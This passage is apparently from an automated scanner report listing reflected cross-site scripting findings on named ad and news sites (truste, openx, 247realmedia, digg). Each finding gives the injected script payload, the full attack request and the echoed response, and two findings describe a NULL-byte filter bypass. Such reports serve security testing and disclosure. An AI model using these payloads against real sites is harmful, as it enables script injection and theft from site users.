Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-3201252381583585&format=300x250_as&output=html&h=250&w=300&lmt=1305051260&channel=2292982637&ad_type=text_image&alternate_ad_url=http%3A%2F%2Fwww.slashgear.com%2Fforum%2Fads%2Frandom300.php&color_bg=F9F9F9&color_border=DCDBDB&color_link=1293C3&color_text=333333&color_url=1293C3&flash=10.2.154&url=http%3A%2F%2Fwww.slashgear.com%2Fsamsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027%2F&dt=1305033259918&bpp=9&shv=r20110427&jsv=r20110427&correlator=1305033260367&frm=0&adk=1474765680&ga_vid=1870217474.1305033260&ga_sid=1305033260&ga_hid=1163693420&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=45&biw=1050&bih=967&fu=0&ifi=1&dtd=471&xpc=AT7d8d2BBa&p=http%3A//www.slashgear.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:35:15 GMT
Server: Apache/2.2.14 (Ubuntu)
P3P: policyref="http://choices.truste.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM"
Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Type: text/javascript
Content-Length: 3979

if (typeof truste == "undefined" || !truste) {
   var truste= {};
   truste.ca= {};
   truste.ca.listeners = {};
   truste.img = new Image(1,1);
   truste.defjsload = false;

   truste.ca.txl = {
       'object' : [{'
...[SNIP]...
</div>\
';

   var te_clr1_att01cont1_bi = {'baseName':'te-clr1-att01cont1','anchName':'te-clr1-att01cont1-anch','width':300,'height':250,'ox':0,'oy':0,'plc':'treae4b<script>alert(1)</script>8a87a0f0875','iplc':'rel','intDivName':'te-clr1-att01cont1-itl','iconSpanId':'te-clr1-att01cont1-icon','backgroundColor':'white','opacity':.8,'filterOpacity':80,'containerId':'att01cont1','noticeBaseUrl':'http://
...[SNIP]...

4.159. http://choices.truste.com/ca [w parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://choices.truste.com
Path:	/ca

Issue detail

The value of the w request parameter is copied into the HTML document as plain text between tags. The payload 62ed2<script>alert(1)</script>270f3f1662b was submitted in the w parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ca?pid=mec01&aid=att01&cid=0311m300x250&c=att01cont1&w=30062ed2<script>alert(1)</script>270f3f1662b&h=250&zi=10002&plc=tr HTTP/1.1
Host: choices.truste.com
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-3201252381583585&format=300x250_as&output=html&h=250&w=300&lmt=1305051260&channel=2292982637&ad_type=text_image&alternate_ad_url=http%3A%2F%2Fwww.slashgear.com%2Fforum%2Fads%2Frandom300.php&color_bg=F9F9F9&color_border=DCDBDB&color_link=1293C3&color_text=333333&color_url=1293C3&flash=10.2.154&url=http%3A%2F%2Fwww.slashgear.com%2Fsamsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027%2F&dt=1305033259918&bpp=9&shv=r20110427&jsv=r20110427&correlator=1305033260367&frm=0&adk=1474765680&ga_vid=1870217474.1305033260&ga_sid=1305033260&ga_hid=1163693420&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=45&biw=1050&bih=967&fu=0&ifi=1&dtd=471&xpc=AT7d8d2BBa&p=http%3A//www.slashgear.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:35:14 GMT
Server: Apache/2.2.14 (Ubuntu)
P3P: policyref="http://choices.truste.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM"
Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Type: text/javascript
Content-Length: 4120

if (typeof truste == "undefined" || !truste) {
   var truste= {};
   truste.ca= {};
   truste.ca.listeners = {};
   truste.img = new Image(1,1);
   truste.defjsload = false;

   truste.ca.txl = {
       'object' : [{'
...[SNIP]...
</div> \
\
';

   var te_clr1_att01cont1_bi = {'baseName':'te-clr1-att01cont1','anchName':'te-clr1-att01cont1-anch','width':30062ed2<script>alert(1)</script>270f3f1662b,'height':250,'ox':0,'oy':0,'plc':'tr','iplc':'rel','intDivName':'te-clr1-att01cont1-itl','iconSpanId':'te-clr1-att01cont1-icon','backgroundColor':'white','opacity':.8,'filterOpacity':80,'containerId':
...[SNIP]...

4.160. http://choices.truste.com/ca [zi parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://choices.truste.com
Path:	/ca

Issue detail

The value of the zi request parameter is copied into the HTML document as plain text between tags. The payload fcfb7<script>alert(1)</script>8b2146f13e4 was submitted in the zi parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ca?pid=mec01&aid=att01&cid=0311m300x250&c=att01cont1&w=300&h=250&zi=10002fcfb7<script>alert(1)</script>8b2146f13e4&plc=tr HTTP/1.1
Host: choices.truste.com
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-3201252381583585&format=300x250_as&output=html&h=250&w=300&lmt=1305051260&channel=2292982637&ad_type=text_image&alternate_ad_url=http%3A%2F%2Fwww.slashgear.com%2Fforum%2Fads%2Frandom300.php&color_bg=F9F9F9&color_border=DCDBDB&color_link=1293C3&color_text=333333&color_url=1293C3&flash=10.2.154&url=http%3A%2F%2Fwww.slashgear.com%2Fsamsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027%2F&dt=1305033259918&bpp=9&shv=r20110427&jsv=r20110427&correlator=1305033260367&frm=0&adk=1474765680&ga_vid=1870217474.1305033260&ga_sid=1305033260&ga_hid=1163693420&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=45&biw=1050&bih=967&fu=0&ifi=1&dtd=471&xpc=AT7d8d2BBa&p=http%3A//www.slashgear.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:35:15 GMT
Server: Apache/2.2.14 (Ubuntu)
P3P: policyref="http://choices.truste.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM"
Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Type: text/javascript
Content-Length: 3979

if (typeof truste == "undefined" || !truste) {
   var truste= {};
   truste.ca= {};
   truste.ca.listeners = {};
   truste.img = new Image(1,1);
   truste.defjsload = false;

   truste.ca.txl = {
       'object' : [{'
...[SNIP]...
overlay(te_clr1_att01cont1_bi)','icon':'http://choices.truste.com/assets/admarker.png','icon_cam':'http://choices.truste.com/assets/adicon.png','iconText':'','aid':'att01','pid':'mec01','zindex':'10002fcfb7<script>alert(1)</script>8b2146f13e4','cam':'2'};

   var tecabaseurl = 'choices.truste.com';

   truste.ca.addEvent(window, 'load', function() {
       if(!truste.defjsload) {
           var element = document.createElement('script');
           element.src = '
...[SNIP]...

4.161. http://d.tradex.openx.com/afr.php [cb parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://d.tradex.openx.com
Path:	/afr.php

Issue detail

The value of the cb request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 703b8</script><script>alert(1)</script>840685947d5 was submitted in the cb parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /afr.php?refresh=65&zoneid=3607&cb=INSERT_RANDOM_NUMBER_HERE703b8</script><script>alert(1)</script>840685947d5 HTTP/1.1
Host: d.tradex.openx.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAID=60d1502eb67392851be60a06ffe3ec9b

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:30:27 GMT
Server: Apache
X-Powered-By: PHP/5.2.11
Pragma: no-cache
Cache-Control: private, max-age=0, no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
P3P: CP="CUR ADM OUR NOR STA NID"
Set-Cookie: OAID=60d1502eb67392851be60a06ffe3ec9b; expires=Wed, 09-May-2012 13:30:27 GMT; path=/
Content-Length: 3647
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
<![CDATA[
setTimeout('window.location.replace("http://d.tradex.openx.com/afr.php?refresh=65&zoneid=3607&cb=INSERT_RANDOM_NUMBER_HERE703b8</script><script>alert(1)</script>840685947d5&loc=")', 65000);
// ]]>
...[SNIP]...

4.162. http://d.tradex.openx.com/afr.php [loc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://d.tradex.openx.com
Path:	/afr.php

Issue detail

The value of the loc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f5535</script><script>alert(1)</script>6cfd66a97c7 was submitted in the loc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /afr.php?refresh=65&zoneid=3607&cb=INSERT_RANDOM_NUMBER_HERE&loc=f5535</script><script>alert(1)</script>6cfd66a97c7 HTTP/1.1
Host: d.tradex.openx.com
Proxy-Connection: keep-alive
Referer: http://d.tradex.openx.com/afr.php?refresh=65&zoneid=3607&cb=INSERT_RANDOM_NUMBER_HERE
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAID=60d1502eb67392851be60a06ffe3ec9b

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:47:22 GMT
Server: Apache
X-Powered-By: PHP/5.2.11
Pragma: no-cache
Cache-Control: private, max-age=0, no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
P3P: CP="CUR ADM OUR NOR STA NID"
Set-Cookie: OAID=60d1502eb67392851be60a06ffe3ec9b; expires=Wed, 09-May-2012 13:47:22 GMT; path=/
Content-Length: 3875
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
<![CDATA[
setTimeout('window.location.replace("http://d.tradex.openx.com/afr.php?refresh=65&zoneid=3607&cb=INSERT_RANDOM_NUMBER_HERE&loc=f5535</script><script>alert(1)</script>6cfd66a97c7")', 65000);
// ]]>
...[SNIP]...

4.163. http://d.tradex.openx.com/afr.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://d.tradex.openx.com
Path:	/afr.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c8990</script><script>alert(1)</script>2f135f75d11 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /afr.php?refresh=65&zoneid=3607&cb=INSERT_RANDOM_NUMBER_HERE&c8990</script><script>alert(1)</script>2f135f75d11=1 HTTP/1.1
Host: d.tradex.openx.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAID=60d1502eb67392851be60a06ffe3ec9b

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:30:40 GMT
Server: Apache
X-Powered-By: PHP/5.2.11
Pragma: no-cache
Cache-Control: private, max-age=0, no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
P3P: CP="CUR ADM OUR NOR STA NID"
Set-Cookie: OAID=60d1502eb67392851be60a06ffe3ec9b; expires=Wed, 09-May-2012 13:30:40 GMT; path=/
Content-Length: 3653
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
<![CDATA[
setTimeout('window.location.replace("http://d.tradex.openx.com/afr.php?refresh=65&zoneid=3607&cb=INSERT_RANDOM_NUMBER_HERE&c8990</script><script>alert(1)</script>2f135f75d11=1&loc=")', 65000);
// ]]>
...[SNIP]...

4.164. http://d.tradex.openx.com/afr.php [zoneid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://d.tradex.openx.com
Path:	/afr.php

Issue detail

The value of the zoneid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c7950</script><script>alert(1)</script>ef280e2fd37 was submitted in the zoneid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /afr.php?refresh=65&zoneid=3607c7950</script><script>alert(1)</script>ef280e2fd37&cb=INSERT_RANDOM_NUMBER_HERE HTTP/1.1
Host: d.tradex.openx.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAID=60d1502eb67392851be60a06ffe3ec9b

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:30:18 GMT
Server: Apache
X-Powered-By: PHP/5.2.11
Pragma: no-cache
Cache-Control: private, max-age=0, no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
P3P: CP="CUR ADM OUR NOR STA NID"
Set-Cookie: OAID=60d1502eb67392851be60a06ffe3ec9b; expires=Wed, 09-May-2012 13:30:18 GMT; path=/
Content-Length: 853
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
<![CDATA[
setTimeout('window.location.replace("http://d.tradex.openx.com/afr.php?refresh=65&zoneid=3607c7950</script><script>alert(1)</script>ef280e2fd37&cb=INSERT_RANDOM_NUMBER_HERE&loc=")', 65000);
// ]]>
...[SNIP]...

4.165. http://delivery.uat.247realmedia.com/RealMedia/ads/adstream_sx.ads/zama/728x90 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://delivery.uat.247realmedia.com
Path:	/RealMedia/ads/adstream_sx.ads/zama/728x90

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1dec9"><script>alert(1)</script>5e52eb42916 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /RealMedia/ads/adstream_sx.ads/zama1dec9"><script>alert(1)</script>5e52eb42916/728x90 HTTP/1.1
Host: delivery.uat.247realmedia.com
Proxy-Connection: keep-alive
Referer: http://tracker.bidder7.mookie1.com/tr-apx?cb=1305033660&a=83130750-107f-40d1-8742-06b84247cd95&b=1&c=10000285&cr=755&p=0.450000&u=2724386019227846218&d=n
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rjZoABuGb; NEXTP2MBAN=1

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:01:32 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
ntCoent-Length: 350
Content-Type: text/html
Set-Cookie: NSC_vbuefm_qppm_iuuq=ffffffff09419e2f45525d5f4f58455e445a4a423660;path=/;httponly
Cache-Control: private
Content-Length: 350

<A HREF="http://delivery.uat.247realmedia.com/RealMedia/ads/click_lx.ads/zama1dec9"><script>alert(1)</script>5e52eb42916/728x90/474992360/UNKNOWN/default/empty.gif/72634857383032726a5a6f4142754762?x" target="_top">
...[SNIP]...

4.166. http://delivery.uat.247realmedia.com/RealMedia/ads/adstream_sx.ads/zama/728x90 [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://delivery.uat.247realmedia.com
Path:	/RealMedia/ads/adstream_sx.ads/zama/728x90

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ea2b"><script>alert(1)</script>461ce79a9c was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /RealMedia/ads/adstream_sx.ads/zama/728x903ea2b"><script>alert(1)</script>461ce79a9c HTTP/1.1
Host: delivery.uat.247realmedia.com
Proxy-Connection: keep-alive
Referer: http://tracker.bidder7.mookie1.com/tr-apx?cb=1305033660&a=83130750-107f-40d1-8742-06b84247cd95&b=1&c=10000285&cr=755&p=0.450000&u=2724386019227846218&d=n
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rjZoABuGb; NEXTP2MBAN=1

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:02:03 GMT
Server: Apache/2.2.3 (Red Hat)
P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml"
ntCoent-Length: 350
Content-Type: text/html
Set-Cookie: NSC_vbuefm_qppm_iuuq=ffffffff09419e2f45525d5f4f58455e445a4a423660;path=/;httponly
Cache-Control: private
Content-Length: 350

<A HREF="http://delivery.uat.247realmedia.com/RealMedia/ads/click_lx.ads/zama/728x903ea2b"><script>alert(1)</script>461ce79a9c/1066125840/UNKNOWN/default/empty.gif/72634857383032726a5a6f4142754762?x" target="_top">
...[SNIP]...

4.167. http://digg.com/tools/services [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://digg.com
Path:	/tools/services

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0055cab"><script>alert(1)</script>3d96a41d60d was submitted in the REST URL parameter 1. This input was echoed as 55cab"><script>alert(1)</script>3d96a41d60d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Request

GET /tools%0055cab"><script>alert(1)</script>3d96a41d60d/services?endPoint=%2Fstories&type=javascript&appkey=http%3A%2F%2Fwww.talkingpointsmemo.com%2F&callback=__Digg_Callback_1&link=http%3A%2F%2Fwww.talkingpointsmemo.com%2Farchives%2F2010%2F02%2Fremember_rick_santorum.php HTTP/1.1
Host: digg.com
Proxy-Connection: keep-alive
Referer: http://talkingpointsmemo.com/archives/2010/02/remember_rick_santorum.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: d=fb1af30888f0820a9f09d171b75eb93394e3b17bd833ffed352d5b5c4836e393; __utmz=146621099.1304250250.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vnum=1306842255367%26vn%3D1; s_vi=[CS]v1|26DEA3D10501174B-40000100A00037A2[CE]; __utma=146621099.2000529129.1304250250.1304250250.1304250250.1; s_nr=1304250295878

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:59:43 GMT
Server: Apache
X-Powered-By: PHP/5.2.9-digg8
Cache-Control: no-cache,no-store,must-revalidate
Pragma: no-cache
Set-Cookie: traffic_control=-781655937076164456%3A203; expires=Wed, 11-May-2011 13:59:44 GMT; path=/; domain=digg.com
X-Digg-Time: D=1044418 10.2.129.155
Vary: Accept-Encoding
Content-Type: text/html;charset=UTF-8
Content-Length: 14857

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>error_ - Digg</title>

<meta name="keywords" content="Digg, pictures, breaking news, entertainment, politics, technology
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="Digg" href="/tools%0055cab"><script>alert(1)</script>3d96a41d60d/services?endPoint=%2Fstories&type=javascript&appkey=http%3A%2F%2Fwww.talkingpointsmemo.com%2F&callback=__Digg_Callback_1&link=http%3A%2F%2Fwww.talkingpointsmemo.com%2Farchives%2F2010%2F02%2Fremember_r
...[SNIP]...

4.168. http://digg.com/tools/services [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://digg.com
Path:	/tools/services

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0079b84"><script>alert(1)</script>69a3b4d00de was submitted in the REST URL parameter 2. This input was echoed as 79b84"><script>alert(1)</script>69a3b4d00de in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Request

GET /tools/services%0079b84"><script>alert(1)</script>69a3b4d00de?endPoint=%2Fstories&type=javascript&appkey=http%3A%2F%2Fwww.talkingpointsmemo.com%2F&callback=__Digg_Callback_1&link=http%3A%2F%2Fwww.talkingpointsmemo.com%2Farchives%2F2010%2F02%2Fremember_rick_santorum.php HTTP/1.1
Host: digg.com
Proxy-Connection: keep-alive
Referer: http://talkingpointsmemo.com/archives/2010/02/remember_rick_santorum.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: d=fb1af30888f0820a9f09d171b75eb93394e3b17bd833ffed352d5b5c4836e393; __utmz=146621099.1304250250.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vnum=1306842255367%26vn%3D1; s_vi=[CS]v1|26DEA3D10501174B-40000100A00037A2[CE]; __utma=146621099.2000529129.1304250250.1304250250.1304250250.1; s_nr=1304250295878

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:00:02 GMT
Server: Apache
X-Powered-By: PHP/5.2.9-digg8
Cache-Control: no-cache,no-store,must-revalidate
Pragma: no-cache
Set-Cookie: traffic_control=-781655937076164456%3A203; expires=Wed, 11-May-2011 14:00:03 GMT; path=/; domain=digg.com
X-Digg-Time: D=735223 10.2.128.190
Vary: Accept-Encoding
Content-Type: text/html;charset=UTF-8
Content-Length: 17487

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>error_ - Digg</title>

<meta name="keywords" content="Digg, pictures, breaking news, entertainment, politics, technology
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="Digg" href="/tools/services%0079b84"><script>alert(1)</script>69a3b4d00de?endPoint=%2Fstories&type=javascript&appkey=http%3A%2F%2Fwww.talkingpointsmemo.com%2F&callback=__Digg_Callback_1&link=http%3A%2F%2Fwww.talkingpointsmemo.com%2Farchives%2F2010%2F02%2Fremember_rick_santo
...[SNIP]...

4.169. http://digg.com/tools/services [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://digg.com
Path:	/tools/services

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload eaee3<script>alert(1)</script>c52ecfdb3c8 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /tools/services?endPoint=%2Fstories&type=javascript&appkey=http%3A%2F%2Fwww.talkingpointsmemo.com%2F&callback=__Digg_Callback_1eaee3<script>alert(1)</script>c52ecfdb3c8&link=http%3A%2F%2Fwww.talkingpointsmemo.com%2Farchives%2F2010%2F02%2Fremember_rick_santorum.php HTTP/1.1
Host: digg.com
Proxy-Connection: keep-alive
Referer: http://talkingpointsmemo.com/archives/2010/02/remember_rick_santorum.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: d=fb1af30888f0820a9f09d171b75eb93394e3b17bd833ffed352d5b5c4836e393; __utmz=146621099.1304250250.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vnum=1306842255367%26vn%3D1; s_vi=[CS]v1|26DEA3D10501174B-40000100A00037A2[CE]; __utma=146621099.2000529129.1304250250.1304250250.1304250250.1; s_nr=1304250295878

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:58:52 GMT
Server: Apache
X-Powered-By: PHP/5.2.9-digg8
Last-Modified: Tue, 10 May 2011 13:58:52 GMT
Cache-Control: no-cache,no-store,must-revalidate
Pragma: no-cache
